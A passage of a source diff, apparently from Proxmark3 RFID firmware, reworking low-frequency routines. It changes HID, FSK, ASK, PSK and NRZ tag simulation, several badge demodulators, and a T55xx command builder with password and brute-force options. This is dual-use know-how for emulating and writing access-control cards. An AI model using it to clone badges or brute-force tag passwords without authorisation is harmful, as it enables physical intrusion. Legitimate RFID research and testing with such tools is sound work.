loadT55xxConfig(void) { return; } - memcpy((uint8_t *)&t_config, buf, T55XX_CONFIG_LEN); + if (buf[0] != 0xFF) // if not set for clear + memcpy((uint8_t *)&T55xx_Timing, buf, T55XX_CONFIG_LEN); if (isok == T55XX_CONFIG_LEN) { if (DBGLEVEL > 1) DbpString("T55XX Config load success"); @@ -151,16 +383,19 @@ void loadT55xxConfig(void) { */ void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint32_t period_1, uint8_t *command) { - // start timer - StartTicks(); + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); // use lf config settings sample_config *sc = getSamplingConfig(); + // Make sure the tag is reset - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - WaitMS(500); + + // start timer + StartTicks(); + + WaitMS(100); // clear read buffer BigBuf_Clear_keep_EM(); @@ -168,10 +403,10 @@ void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint LFSetupFPGAForADC(sc->divisor, true); // little more time for the tag to fully power up - WaitMS(200); + WaitMS(20); // if delay_off = 0 then just bitbang 1 = antenna on 0 = off for respective periods. - bool bitbang = delay_off == 0; + bool bitbang = (delay_off == 0); // now modulate the reader field if (bitbang) { // HACK it appears the loop and if statements take up about 7us so adjust waits accordingly... @@ -180,11 +415,12 @@ void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint DbpString("[!] Warning periods cannot be less than 7us in bit bang mode"); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LED_D_OFF(); + reply_ng(CMD_LF_MOD_THEN_ACQ_RAW_ADC, PM3_EINVARG, NULL, 0); return; } // hack2 needed--- it appears to take about 8-16us to turn the antenna back on - // leading to ~ 1 to 2 125khz samples extra in every off period + // leading to ~ 1 to 2 125kHz samples extra in every off period // so we should test for last 0 before next 1 and reduce period_0 by this extra amount... // but is this time different for every antenna or other hw builds??? more testing needed @@ -210,7 +446,7 @@ void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint } else { // if field already on leave alone (affects timing otherwise) if (off) { - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); LED_D_ON(); off = false; } @@ -234,15 +470,16 @@ void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint FpgaSendCommand(FPGA_CMD_SET_DIVISOR, sc->divisor); } - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); // now do the read - DoAcquisition_config(false, 0); + DoAcquisition_config(true, 0); // Turn off antenna FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + // tell client we are done - reply_ng(CMD_MOD_THEN_ACQUIRE_RAW_ADC_SAMPLES_125K, PM3_SUCCESS, NULL, 0); + reply_ng(CMD_LF_MOD_THEN_ACQ_RAW_ADC, PM3_SUCCESS, NULL, 0); } /* blank r/w tag data stream @@ -257,9 +494,9 @@ void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint void ReadTItag(void) { StartTicks(); // some hardcoded initial params - // when we read a TI tag we sample the zerocross line at 2Mhz - // TI tags modulate a 1 as 16 cycles of 123.2Khz - // TI tags modulate a 0 as 16 cycles of 134.2Khz + // when we read a TI tag we sample the zerocross line at 2MHz + // TI tags modulate a 1 as 16 cycles of 123.2kHz + // TI tags modulate a 0 as 16 cycles of 134.2kHz #define FSAMPLE 2000000 #define FREQLO 123200 #define FREQHI 134200 @@ -275,9 +512,9 @@ void ReadTItag(void) { // when to tell if we're close enough to one freq or another uint32_t threshold = (sampleslo - sampleshi + 1) >> 1; - // TI tags charge at 134.2Khz + // TI tags charge at 134.2kHz FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 88); //134.8Khz + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_134); //~134kHz // Place FPGA in passthrough mode, in this mode the CROSS_LO line // connects to SSP_DIN and the SSP_DOUT logic level controls @@ -503,8 +740,8 @@ void WriteTItag(uint32_t idhi, uint32_t idlo, uint16_t crc) { } Dbprintf("Writing to tag: %x%08x, crc=%x", idhi, idlo, crc); - // TI tags charge at 134.2Khz - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 88); //134.8Khz + // TI tags charge at 134.2kHz + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_134); //~134kHz // Place FPGA in passthrough mode, in this mode the CROSS_LO line // connects to SSP_DIN and the SSP_DOUT logic level controls // whether we're modulating the antenna (high) @@ -577,9 +814,9 @@ void SimulateTagLowFrequencyEx(int period, int gap, bool ledcontrol, int numcycl sample_config *sc = getSamplingConfig(); if ((sc->divisor == 1) || (sc->divisor < 0) || (sc->divisor > 255)) - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 88); //134.8Khz + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_134); //~134kHz else if (sc->divisor == 0) - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); //125kHz else FpgaSendCommand(FPGA_CMD_SET_DIVISOR, sc->divisor); @@ -657,77 +894,12 @@ void SimulateTagLowFrequency(int period, int gap, bool ledcontrol) { #define DEBUG_FRAME_CONTENTS 1 void SimulateTagLowFrequencyBidir(int divisor, int max_bitlen) { } -// compose fc/5 fc/8 waveform (FSK1) - -// compose fc/8 fc/10 waveform (FSK2) -// also manchester, -static void fc(int c, int *n) { - uint8_t *dest = BigBuf_get_addr(); - int idx; - - // for when we want an fc8 pattern every 4 logical bits - if (c == 0) { - dest[((*n)++)] = 1; - dest[((*n)++)] = 1; - dest[((*n)++)] = 1; - dest[((*n)++)] = 1; - dest[((*n)++)] = 0; - dest[((*n)++)] = 0; - dest[((*n)++)] = 0; - dest[((*n)++)] = 0; - } - - // an fc/8 encoded bit is a bit pattern of 11110000 x6 = 48 samples - if (c == 8) { - for (idx = 0; idx < 6; idx++) { - dest[((*n)++)] = 1; - dest[((*n)++)] = 1; - dest[((*n)++)] = 1; - dest[((*n)++)] = 1; - dest[((*n)++)] = 0; - dest[((*n)++)] = 0; - dest[((*n)++)] = 0; - dest[((*n)++)] = 0; - } - } - - // an fc/10 encoded bit is a bit pattern of 1111100000 x5 = 50 samples - if (c == 10) { - for (idx = 0; idx < 5; idx++) { - dest[((*n)++)] = 1; - dest[((*n)++)] = 1; - dest[((*n)++)] = 1; - dest[((*n)++)] = 1; - dest[((*n)++)] = 1; - dest[((*n)++)] = 0; - dest[((*n)++)] = 0; - dest[((*n)++)] = 0; - dest[((*n)++)] = 0; - dest[((*n)++)] = 0; - } - } -} - -// special start of frame marker containing invalid bit sequences -// this one is focused on HID, with manchester encoding. -static void fcSTT(int *n) { - fc(8, n); - fc(8, n); // invalid - fc(8, n); - fc(10, n); // logical 0 - fc(10, n); - fc(10, n); // invalid - fc(8, n); - fc(10, n); // logical 0 -} // compose fc/X fc/Y waveform (FSKx) -static void fcAll(uint8_t fc, int *n, uint8_t clock, uint16_t *modCnt) { +static void fcAll(uint8_t fc, int *n, uint8_t clock, int16_t *remainder) { uint8_t *dest = BigBuf_get_addr(); uint8_t halfFC = fc >> 1; - uint8_t wavesPerClock = clock / fc; - uint8_t mod = clock % fc; //modifier - + uint8_t wavesPerClock = (clock + *remainder) / fc; // loop through clock - step field clock for (uint8_t idx = 0; idx < wavesPerClock; idx++) { // put 1/2 FC length 1's and 1/2 0's per field clock wave (to create the wave) @@ -735,39 +907,20 @@ static void fcAll(uint8_t fc, int *n, uint8_t clock, uint16_t *modCnt) { memset(dest + (*n) + (fc - halfFC), 1, halfFC); *n += fc; } - if (mod > 0) { - uint8_t modAdj = fc / mod; //how often to apply modifier - bool modAdjOk = !(fc % mod); //if (fc % mod==0) modAdjOk = true; - (*modCnt)++; - - if (modAdjOk) { //fsk2 - if ((*modCnt % modAdj) == 0) { //if 4th 8 length wave in a rf/50 add extra 8 length wave - memset(dest + (*n), 0, fc - halfFC); - memset(dest + (*n) + (fc - halfFC), 1, halfFC); - *n += fc; - } - } - if (!modAdjOk) { //fsk1 - memset(dest + (*n), 0, mod - (mod >> 1)); - memset(dest + (*n) + (mod - (mod >> 1)), 1, mod >> 1); - *n += mod; - } + *remainder = (clock + *remainder) % fc; + // if we've room for more than a half wave, add a full wave and use negative remainder + if (*remainder > halfFC) { + memset(dest + (*n), 0, fc - halfFC); //in case of odd number use extra here + memset(dest + (*n) + (fc - halfFC), 1, halfFC); + *n += fc; + *remainder -= fc; } } // prepare a waveform pattern in the buffer based on the ID given then // simulate a HID tag until the button is pressed -void CmdHIDsimTAGEx(uint32_t hi, uint32_t lo, bool ledcontrol, int numcycles) { +void CmdHIDsimTAGEx(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, bool ledcontrol, int numcycles) { - if (hi > 0xFFF) { - DbpString("[!] tags can only have 44 bits. - USE lf simfsk for larger tags"); - return; - } - - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - set_tracing(false); - - int n = 0, i = 0; /* HID tag bitstream format The tag contains a 44bit unique code. This is sent out MSB first in sets of 4 bits @@ -782,53 +935,44 @@ void CmdHIDsimTAGEx(uint32_t hi, uint32_t lo, bool ledcontrol, int numcycles) { bit 0 = fc8 */ - fc(0, &n); + // special start of frame marker containing invalid Manchester bit sequences + uint8_t bits[8 + 8 * 2 + 84 * 2] = { 0, 0, 0, 1, 1, 1, 0, 1 }; + uint8_t bitlen = 0; + uint16_t n = 8; - // special start of frame marker containing invalid bit sequences - fcSTT(&n); - - // manchester encode bits 43 to 32 - for (i = 11; i >= 0; i--) { - - if ((i % 4) == 3) fc(0, &n); - - if ((hi >> i) & 1) { - fc(10, &n); - fc(8, &n); // low-high transition - } else { - fc(8, &n); - fc(10, &n); // high-low transition + if (longFMT) { + // Ensure no more than 84 bits supplied + if (hi2 > 0xFFFFF) { + DbpString("Tags can only have 84 bits."); + return; } - } + bitlen = 8 + 8 * 2 + 84 * 2; + hi2 |= 0x9E00000; // 9E: long format identifier + manchesterEncodeUint32(hi2, 16 + 12, bits, &n); + manchesterEncodeUint32(hi, 32, bits, &n); + manchesterEncodeUint32(lo, 32, bits, &n); + } else { - // manchester encode bits 31 to 0 - for (i = 31; i >= 0; i--) { - - if ((i % 4) == 3) fc(0, &n); - - if ((lo >> i) & 1) { - fc(10, &n); - fc(8, &n); // low-high transition - } else { - fc(8, &n); - fc(10, &n); // high-low transition + if (hi > 0xFFF) { + DbpString("[!] tags can only have 44 bits. - USE lf simfsk for larger tags"); + return; } + bitlen = 8 + 44 * 2; + manchesterEncodeUint32(hi, 12, bits, &n); + manchesterEncodeUint32(lo, 32, bits, &n); } - - if (ledcontrol) LED_A_ON(); - SimulateTagLowFrequencyEx(n, 0, ledcontrol, numcycles); - if (ledcontrol) LED_A_OFF(); + CmdFSKsimTAGEx(10, 8, 0, 50, bitlen, bits, ledcontrol, numcycles); } -void CmdHIDsimTAG(uint32_t hi, uint32_t lo, bool ledcontrol) { - CmdHIDsimTAGEx(hi, lo, ledcontrol, -1); - reply_ng(CMD_HID_SIM_TAG, PM3_EOPABORTED, NULL, 0); +void CmdHIDsimTAG(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, bool ledcontrol) { + CmdHIDsimTAGEx(hi2, hi, lo, longFMT, ledcontrol, -1); + reply_ng(CMD_LF_HID_SIMULATE, PM3_EOPABORTED, NULL, 0); } // prepare a waveform pattern in the buffer based on the ID given then // simulate a FSK tag until the button is pressed // arg1 contains fcHigh and fcLow, arg2 contains STT marker and clock -void CmdFSKsimTAG(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol) { +void CmdFSKsimTAGEx(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol, int numcycles) { FpgaDownloadAndGo(FPGA_BITSTREAM_LF); @@ -839,18 +983,17 @@ void CmdFSKsimTAG(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, set_tracing(false); int n = 0, i = 0; - uint16_t modCnt = 0; + int16_t remainder = 0; if (separator) { //int fsktype = ( fchigh == 8 && fclow == 5) ? 1 : 2; //fcSTT(&n); } - for (i = 0; i < bitslen; i++) { if (bits[i]) - fcAll(fclow, &n, clk, &modCnt); + fcAll(fchigh, &n, clk, &remainder); else - fcAll(fchigh, &n, clk, &modCnt); + fcAll(fclow, &n, clk, &remainder); } WDT_HIT(); @@ -858,9 +1001,16 @@ void CmdFSKsimTAG(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, Dbprintf("Simulating with fcHigh: %d, fcLow: %d, clk: %d, STT: %d, n: %d", fchigh, fclow, clk, separator, n); if (ledcontrol) LED_A_ON(); - SimulateTagLowFrequency(n, 0, ledcontrol); + SimulateTagLowFrequencyEx(n, 0, ledcontrol, numcycles); if (ledcontrol) LED_A_OFF(); - reply_ng(CMD_FSK_SIM_TAG, PM3_EOPABORTED, NULL, 0); +} + +// prepare a waveform pattern in the buffer based on the ID given then +// simulate a FSK tag until the button is pressed +// arg1 contains fcHigh and fcLow, arg2 contains STT marker and clock +void CmdFSKsimTAG(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol) { + CmdFSKsimTAGEx(fchigh, fclow, separator, clk, bitslen, bits, ledcontrol, -1); + reply_ng(CMD_LF_FSK_SIMULATE, PM3_EOPABORTED, NULL, 0); } // compose ask waveform for one bit(ASK) @@ -906,6 +1056,16 @@ static void leadingZeroAskSimBits(int *n, uint8_t clock) { memset(dest + (*n), 0, clock * 8); *n += clock * 8; } +/* +static void leadingZeroBiphaseSimBits(int *n, uint8_t clock, uint8_t *phase) { + uint8_t *dest = BigBuf_get_addr(); + for (uint8_t i = 0; i < 8; i++) { + memset(dest + (*n), 0 ^ *phase, clock); + *phase ^= 1; + *n += clock; + } +} +*/ // args clock, ask/man or askraw, invert, transmission separator @@ -915,10 +1075,14 @@ void CmdASKsimTAG(uint8_t encoding, uint8_t invert, uint8_t separator, uint8_t c int n = 0, i = 0; - leadingZeroAskSimBits(&n, clk); - if (encoding == 2) { //biphase uint8_t phase = 0; + +// iceman, if I add this, the demod includes these extra zero and detection fails. +// now, I only need to figure out just to add carrier without modulation +// the old bug, with adding ask zeros messed up the phase variable and deteion failed because of it in LF FDX +// leadingZeroBiphaseSimBits(&n, clk, &phase); + for (i = 0; i < size; i++) { biphaseSimBit(bits[i] ^ invert, &n, clk, &phase); } @@ -928,6 +1092,9 @@ void CmdASKsimTAG(uint8_t encoding, uint8_t invert, uint8_t separator, uint8_t c } } } else { // ask/manchester || ask/raw + + leadingZeroAskSimBits(&n, clk); + for (i = 0; i < size; i++) { askSimBit(bits[i] ^ invert, &n, clk, encoding); } @@ -944,12 +1111,19 @@ void CmdASKsimTAG(uint8_t encoding, uint8_t invert, uint8_t separator, uint8_t c WDT_HIT(); - Dbprintf("Simulating with clk: %d, invert: %d, encoding: %d, separator: %d, n: %d", clk, invert, encoding, separator, n); + Dbprintf("Simulating with clk: %d, invert: %d, encoding: %s (%d), separator: %d, n: %d" + , clk + , invert + , (encoding == 2) ? "BI" : (encoding == 1) ? "ASK" : "RAW" + , encoding + , separator + , n + ); if (ledcontrol) LED_A_ON(); SimulateTagLowFrequency(n, 0, ledcontrol); if (ledcontrol) LED_A_OFF(); - reply_ng(CMD_ASK_SIM_TAG, PM3_EOPABORTED, NULL, 0); + reply_ng(CMD_LF_ASK_SIMULATE, PM3_EOPABORTED, NULL, 0); } //carrier can be 2,4 or 8 @@ -975,7 +1149,7 @@ static void pskSimBit(uint8_t waveLen, int *n, uint8_t clk, uint8_t *curPhase, b } // args clock, carrier, invert, -void CmdPSKsimTag(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol) { +void CmdPSKsimTAG(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol) { FpgaDownloadAndGo(FPGA_BITSTREAM_LF); set_tracing(false); @@ -996,7 +1170,56 @@ void CmdPSKsimTag(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, u if (ledcontrol) LED_A_ON(); SimulateTagLowFrequency(n, 0, ledcontrol); if (ledcontrol) LED_A_OFF(); - reply_ng(CMD_PSK_SIM_TAG, PM3_EOPABORTED, NULL, 0); + reply_ng(CMD_LF_PSK_SIMULATE, PM3_EOPABORTED, NULL, 0); +} + +// compose nrz waveform for one bit(NRZ) +static void nrzSimBit(uint8_t c, int *n, uint8_t clock) { + uint8_t *dest = BigBuf_get_addr(); +// uint8_t halfClk = clock / 2; + // c = current bit 1 or 0 + memset(dest + (*n), c, clock); + *n += clock; +} + +// args clock, +void CmdNRZsimTAG(uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol) { + + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + set_tracing(false); + + int n = 0, i = 0; + + // NRZ + + leadingZeroAskSimBits(&n, clk); + + for (i = 0; i < size; i++) { + nrzSimBit(bits[i] ^ invert, &n, clk); + } + + if (bits[0] == bits[size - 1]) { + for (i = 0; i < size; i++) { + nrzSimBit(bits[i] ^ invert ^ 1, &n, clk); + } + } + + if (separator == 1) + Dbprintf("sorry but separator option not yet available"); + + WDT_HIT(); + + Dbprintf("Simulating with clk: %d, invert: %d, separator: %d, n: %d" + , clk + , invert + , separator + , n + ); + + if (ledcontrol) LED_A_ON(); + SimulateTagLowFrequency(n, 0, ledcontrol); + if (ledcontrol) LED_A_OFF(); + reply_ng(CMD_LF_NRZ_SIMULATE, PM3_EOPABORTED, NULL, 0); } // loop to get raw HID waveform then FSK demodulate the TAG ID from it @@ -1005,8 +1228,8 @@ void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) size_t size; uint32_t hi2 = 0, hi = 0, lo = 0; int dummyIdx = 0; - // Configure to go in 125Khz listen mode - LFSetupFPGAForADC(95, true); + // Configure to go in 125kHz listen mode + LFSetupFPGAForADC(LF_DIVISOR_125, true); //clear read buffer BigBuf_Clear_keep_EM(); @@ -1016,7 +1239,7 @@ void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) WDT_HIT(); if (ledcontrol) LED_A_ON(); - DoAcquisition_default(-1, true); + DoAcquisition_default(-1, false); // FSK demodulator size = 50 * 128 * 2; //big enough to catch 2 sequences of largest format int idx = HIDdemodFSK(dest, &size, &hi2, &hi, &lo, &dummyIdx); @@ -1068,7 +1291,7 @@ void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) cardnum = (lo >> 1) & 0x7FFFF; fac = ((hi & 0xF) << 12) | (lo >> 20); } - Dbprintf("TAG ID: %x%08x (%d) - Format Len: %dbit - FC: %d - Card: %d", + Dbprintf("TAG ID: " _GREEN_("%x%08x (%d)") "- Format Len: " _GREEN_("%d") "bit - FC: " _GREEN_("%d") "- Card: "_GREEN_("%d"), hi, lo, (lo >> 1) & 0xFFFF, @@ -1087,7 +1310,7 @@ void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) hi2 = hi = lo = idx = 0; } FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - DbpString("Stopped"); + DbpString("HID fsk demod stopped"); if (ledcontrol) LED_A_OFF(); } @@ -1095,24 +1318,24 @@ void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) { uint8_t *dest = BigBuf_get_addr(); - - //big enough to catch 2 sequences of largest format - size_t size = 12800; //50 * 128 * 2; - + size_t size; int dummyIdx = 0; BigBuf_Clear_keep_EM(); - LFSetupFPGAForADC(95, true); + LFSetupFPGAForADC(LF_DIVISOR_125, true); while (!BUTTON_PRESS() && !data_available()) { WDT_HIT(); if (ledcontrol) LED_A_ON(); - DoAcquisition_default(-1, true); + DoAcquisition_default(-1, false); // FSK demodulator + size = MIN(12800, BigBuf_max_traceLen()); + + //askdemod and manchester decode int idx = detectAWID(dest, &size, &dummyIdx); if (idx <= 0 || size != 96) continue; @@ -1174,10 +1397,10 @@ void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) *low = rawLo; break; } - WDT_HIT(); } + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - DbpString("Stopped"); + DbpString("AWID fsk demod stopped"); if (ledcontrol) LED_A_OFF(); } @@ -1191,18 +1414,18 @@ void CmdEM410xdemod(int findone, uint32_t *high, uint64_t *low, int ledcontrol) BigBuf_Clear_keep_EM(); - LFSetupFPGAForADC(95, true); + LFSetupFPGAForADC(LF_DIVISOR_125, true); while (!BUTTON_PRESS() && !data_available()) { WDT_HIT(); if (ledcontrol) LED_A_ON(); - DoAcquisition_default(-1, true); + DoAcquisition_default(-1, false); + + size = MIN(16385, BigBuf_max_traceLen()); - size = BigBuf_max_traceLen(); //askdemod and manchester decode - if (size > 16385) size = 16385; //big enough to catch 2 sequences of largest format int errCnt = askdemod(dest, &size, &clk, &invert, maxErr, 0, 1); WDT_HIT(); @@ -1234,12 +1457,12 @@ void CmdEM410xdemod(int findone, uint32_t *high, uint64_t *low, int ledcontrol) break; } } - WDT_HIT(); hi = lo = size = idx = 0; clk = invert = 0; } + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - DbpString("Stopped"); + DbpString("EM man/ask demod stopped"); if (ledcontrol) LED_A_OFF(); } @@ -1256,17 +1479,18 @@ void CmdIOdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) { BigBuf_Clear_keep_EM(); - // Configure to go in 125Khz listen mode - LFSetupFPGAForADC(95, true); + // Configure to go in 125kHz listen mode + LFSetupFPGAForADC(LF_DIVISOR_125, true); while (!BUTTON_PRESS() && !data_available()) { WDT_HIT(); if (ledcontrol) LED_A_ON(); - DoAcquisition_default(-1, true); + DoAcquisition_default(-1, false); + + size = MIN(12000, BigBuf_max_traceLen()); //fskdemod and get start index - WDT_HIT(); int idx = detectIOProx(dest, &size, &dummyIdx); if (idx < 0) continue; //valid tag found @@ -1323,10 +1547,11 @@ void CmdIOdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) { code = code2 = 0; version = facilitycode = 0; number = 0; - WDT_HIT(); + calccrc = 0; } + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - DbpString("Stopped"); + DbpString("IOProx fsk demod stopped"); if (ledcontrol) LED_A_OFF(); } @@ -1342,7 +1567,7 @@ void CmdIOdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) { */ void TurnReadLFOn(uint32_t delay) { - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); // measure antenna strength. //int adcval = ((MAX_ADC_LF_VOLTAGE * AvgAdc(ADC_CHAN_LF)) >> 10); @@ -1353,91 +1578,271 @@ void TurnReadLF_off(uint32_t delay) { WaitUS(delay); } -// Write one bit to card -void T55xxWriteBit(int bit) { - if (!bit) - TurnReadLFOn(t_config.write_0); - else - TurnReadLFOn(t_config.write_1); +// Macro for code readability +#define BITSTREAM_BYTE(x) ((x) >> 3) // iceman note: isn't this NIBBLE??? +#define BITSTREAM_BIT(x) ((x) & 7) + +#define T55_LLR_REF (136 * 8) + +// Write one bit to chip +void T55xxWriteBit(uint8_t bit, uint8_t downlink_idx) { + + switch (bit) { + case 0 : + // send bit 0/00 + TurnReadLFOn(T55xx_Timing.m[downlink_idx].write_0); + break; + case 1 : + // send bit 1/01 + TurnReadLFOn(T55xx_Timing.m[downlink_idx].write_1); + break; + case 2 : + // send bits 10 (1 of 4) + TurnReadLFOn(T55xx_Timing.m[downlink_idx].write_2); + break; + case 3 : + // send bits 11 (1 of 4) + TurnReadLFOn(T55xx_Timing.m[downlink_idx].write_3); + break; + case 4 : + // send Long Leading Reference + TurnReadLFOn(T55xx_Timing.m[downlink_idx].write_0 + T55_LLR_REF); + break; + } + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - WaitUS(t_config.write_gap); + WaitUS(T55xx_Timing.m[downlink_idx].write_gap); } -// Send T5577 reset command then read stream (see if we can identify the start of the stream) -void T55xxResetRead(void) { - LED_A_ON(); - //clear buffer now so it does not interfere with timing later - BigBuf_Clear_keep_EM(); +// Function to abstract an Arbitrary length byte array to store bit pattern. +// bit_array - Array to hold data/bit pattern +// start_offset - bit location to start storing new bits. +// data - upto 32 bits of data to store +// num_bits - how many bits (low x bits of data) Max 32 bits at a time +// max_len - how many bytes can the bit_array hold (ensure no buffer overflow) +// returns "Next" bit offset / bits stored (for next store) +uint8_t T55xx_SetBits(uint8_t *bs, uint8_t start_offset, uint32_t data, uint8_t num_bits, uint8_t max_len) { + int8_t next_offset = start_offset; + // Check if data will fit. + if ((start_offset + num_bits) <= (max_len * 8)) { + // Loop through the data and store + for (int8_t offset = (num_bits - 1); offset >= 0; offset--) { + + if ((data >> offset) & 1) + bs[BITSTREAM_BYTE(next_offset)] |= (1 << BITSTREAM_BIT(next_offset)); // Set 1 + else + bs[BITSTREAM_BYTE(next_offset)] &= (0xff ^ (1 << BITSTREAM_BIT(next_offset))); // Set 0 + + next_offset++; + } + } else { + // Note: This should never happen unless some code changes cause it. + // So short message for coders when testing. + Dbprintf(_RED_("T55 too many bits")); + } + return next_offset; +} + +// Send one downlink command to the card +void T55xx_SendCMD(uint32_t data, uint32_t pwd, uint16_t arg) { + + /* + arg bits + xxxx xxxxxxx1 0x001 password mode (Y/N) + xxxx xxxxxx1x 0x002 page (0|1) + xxxx xxxxx1xx 0x004 test mode (Y/N) + xxxx xxx11xxx 0x018 selected downlink mode (0|1|2|3|) + xxxx xx1xxxxx 0x020 !reg_readmode (ICEMAN ?? Why use negative in the bool ??) + xxxx x1xxxxxx 0x040 called for a read, so no data packet (Y/N) + xxxx 1xxxxxxx 0x080 reset (Y/N) + xxx1 xxxxxxxx 0x100 brute force (Y/N) + 111x xxxxxxxx 0xE00 block to write (0-7) + */ + bool t55_send_pwdmode = (arg & 0x1); + bool t55_send_page = ((arg >> 1) & 0x1); + bool t55_send_testmode = ((arg >> 2) & 0x1); + bool t55_send_regreadmode = ((arg >> 5) & 0x1); + bool t55_send_readcmd = ((arg >> 6) & 0x1); + bool t55_send_reset = ((arg >> 7) & 0x1); + bool t55_brute_mem = ((arg >> 8) & 0x1); + + uint8_t downlink_mode = (arg >> 3) & 0x03; + uint8_t block_no = (arg >> 9) & 0x07; + + // no startup delay when in bruteforce command + uint8_t start_wait = (t55_brute_mem) ? 0 : 4; + + // Max Downlink Command size ~74 bits, so 10 bytes (80 bits) + uint8_t bs[10]; + memset(bs, 0x00, sizeof(bs)); + + uint8_t len = 0; + + // build bit stream to send. + + // add Leading 0 + if (downlink_mode == T55XX_DLMODE_LEADING_ZERO) + len = T55xx_SetBits(bs, len, 0, 1, sizeof(bs)); + + // add 1 of 4 reference bit + if (downlink_mode == T55XX_DLMODE_1OF4) { + len = T55xx_SetBits(bs, len, 0, 1, sizeof(bs)); + // add extra zero + len = T55xx_SetBits(bs, len, 0, 1, sizeof(bs)); + } + + // add Opcode + if (t55_send_reset) { + // reset : r*) 00 + len = T55xx_SetBits(bs, len, 0, 2, sizeof(bs)); + } else { + + if (t55_send_testmode) + Dbprintf(_YELLOW_("Using Test Mode")); + + len = T55xx_SetBits(bs, len, t55_send_testmode ? 0 : 1, 1, sizeof(bs)); + + len = T55xx_SetBits(bs, len, t55_send_testmode ? 1 : t55_send_page, 1, sizeof(bs)); + + if (t55_send_pwdmode) { + // Leading 0 and 1 of 4 00 fixed bits if passsword used + if ((downlink_mode == T55XX_DLMODE_LEADING_ZERO) || (downlink_mode == T55XX_DLMODE_1OF4)) { + len = T55xx_SetBits(bs, len, 0, 2, sizeof(bs)); + } + len = T55xx_SetBits(bs, len, pwd, 32, sizeof(bs)); + } + + // Add Lock bit 0 + if (t55_send_regreadmode == false) + len = T55xx_SetBits(bs, len, 0, 1, sizeof(bs)); + + // Add Data if a write command + if (t55_send_readcmd == false) + len = T55xx_SetBits(bs, len, data, 32, sizeof(bs)); + + // Add Address + if (t55_send_regreadmode == false) + len = T55xx_SetBits(bs, len, block_no, 3, sizeof(bs)); + } + + // Send Bits to T55xx // Set up FPGA, 125kHz - LFSetupFPGAForADC(95, true); + LFSetupFPGAForADC(LF_DIVISOR_125, true); + // make sure tag is fully powered up... - WaitMS(4); + WaitMS(start_wait); // Trigger T55x7 in mode. FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - WaitUS(t_config.start_gap); + WaitUS(T55xx_Timing.m[downlink_mode].start_gap); - // reset tag - op code 00 - T55xxWriteBit(0); - T55xxWriteBit(0); + // If long leading 0 send long reference pulse + if (downlink_mode == T55XX_DLMODE_LLR) + T55xxWriteBit(T55XX_LONGLEADINGREFERENCE, downlink_mode);//Timing); // Send Long Leading Start Reference - TurnReadLFOn(t_config.read_gap); + uint8_t sendbits; + if ((downlink_mode == T55XX_DLMODE_1OF4) && (len > 0)) { // 1 of 4 need to send 2 